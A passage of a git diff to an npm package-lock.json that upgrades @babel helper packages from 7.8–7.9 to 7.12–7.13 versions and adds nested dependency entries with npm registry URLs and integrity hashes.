"@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-module-transforms": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz", - "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==", + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.13.14.tgz", + "integrity": "sha512-QuU/OJ0iAOSIatyVZmfqB0lbkVP0kDRiKj34xy+QNsnVZi/PA6BoSoreeqnxxa9EHFAIL0R9XOaAR/G9WlIy5g==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.6", - "@babel/helper-simple-access": "^7.8.3", - "@babel/helper-split-export-declaration": "^7.8.3", - "@babel/template": "^7.8.6", - "@babel/types": "^7.9.0", - "lodash": "^4.17.13" + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-replace-supers": "^7.13.12", + "@babel/helper-simple-access": "^7.13.12", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/helper-validator-identifier": "^7.12.11", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.13", + "@babel/types": "^7.13.14" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helper-optimise-call-expression": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz", - "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz", + "integrity": "sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-plugin-utils": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz", - "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.13.0.tgz", + "integrity": "sha512-ZPafIPSwzUlAoWT8DKs1W2VyF2gOWthGd5NGFMsBcMMol+ZhK+EQY/e6V96poa6PA/Bh+C9plWN0hXO1uB8AfQ==", "dev": true }, - "@babel/helper-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.8.3.tgz", - "integrity": "sha512-BWt0QtYv/cg/NecOAZMdcn/waj/5P26DR4mVLXfFtDokSR6fyuG0Pj+e2FqtSME+MqED1khnSMulkmGl8qWiUQ==", - "dev": true, - "requires": { - "lodash": "^4.17.13" - } - }, "@babel/helper-remap-async-to-generator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.8.3.tgz", - "integrity": "sha512-kgwDmw4fCg7AVgS4DukQR/roGp+jP+XluJE5hsRZwxCYGg+Rv9wSGErDWhlI90FODdYfd4xG4AQRiMDjjN0GzA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.13.0.tgz", + "integrity": "sha512-pUQpFBE9JvC9lrQbpX0TmeNIy5s7GnZjna2lhhcHC7DzgBs6fWn722Y5cfwgrtrqc7NAJwMvOa0mKhq6XaE4jg==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-wrap-function": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-wrap-function": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-replace-supers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.9.6.tgz", - "integrity": "sha512-qX+chbxkbArLyCImk3bWV+jB5gTNU/rsze+JlcF6Nf8tVTigPJSI1o1oBow/9Resa1yehUO9lIipsmu9oG4RzA==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.13.12.tgz", + "integrity": "sha512-Gz1eiX+4yDO8mT+heB94aLVNCL+rbuT2xy4YfyNqu8F+OI6vMvJK891qGBTqL9Uc8wxEvRW92Id6G7sDen3fFw==", "dev": true, "requires": { - "@babel/helper-member-expression-to-functions": "^7.8.3", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" + "@babel/helper-member-expression-to-functions": "^7.13.12", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helper-simple-access": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz", - "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.13.12.tgz", + "integrity": "sha512-7FEjbrx5SL9cWvXioDbnlYTppcZGuCY6ow3/D5vMggb2Ywgu4dMrpTJX0JdQAIcRRUElOIxF3yEooa9gUb9ZbA==", "dev": true, "requires": { - "@babel/template": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz", + "integrity": "sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA==", + "dev": true, + "requires": { + "@babel/types": "^7.12.1" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-split-export-declaration": { @@ -351,27 +1327,287 @@ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz", "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==" }, + "@babel/helper-validator-option": { + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz", + "integrity": "sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw==", + "dev": true + }, "@babel/helper-wrap-function": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.8.3.tgz", - "integrity": "sha512-LACJrbUET9cQDzb6kG7EeD7+7doC3JNvUgTEQOx2qaO1fKlzE/Bf05qs9w1oXQMmXlPO65lC3Tq9S6gZpTErEQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.13.0.tgz", + "integrity": "sha512-1UX9F7K3BS42fI6qd2A4BjKzgGjToscyZTdp1DjknHLCIvpgne6918io+aL5LXFcER/8QWiwpoY902pVEqgTXA==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helpers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.6.tgz", - "integrity": "sha512-tI4bUbldloLcHWoRUMAj4g1bF313M/o6fBKhIsb3QnGVPwRm9JsNf/gqMkQ7zjqReABiffPV6RWj7hEglID5Iw==", + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.13.10.tgz", + "integrity": "sha512-4VO883+MWPDUVRF3PhiLBUFHoX/bsLTGFpFK/HqvvfBZz2D57u9XzPVNFVBTc0PW/CWR9BXTOKt8NF4DInUHcQ==", "dev": true, "requires": { - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + 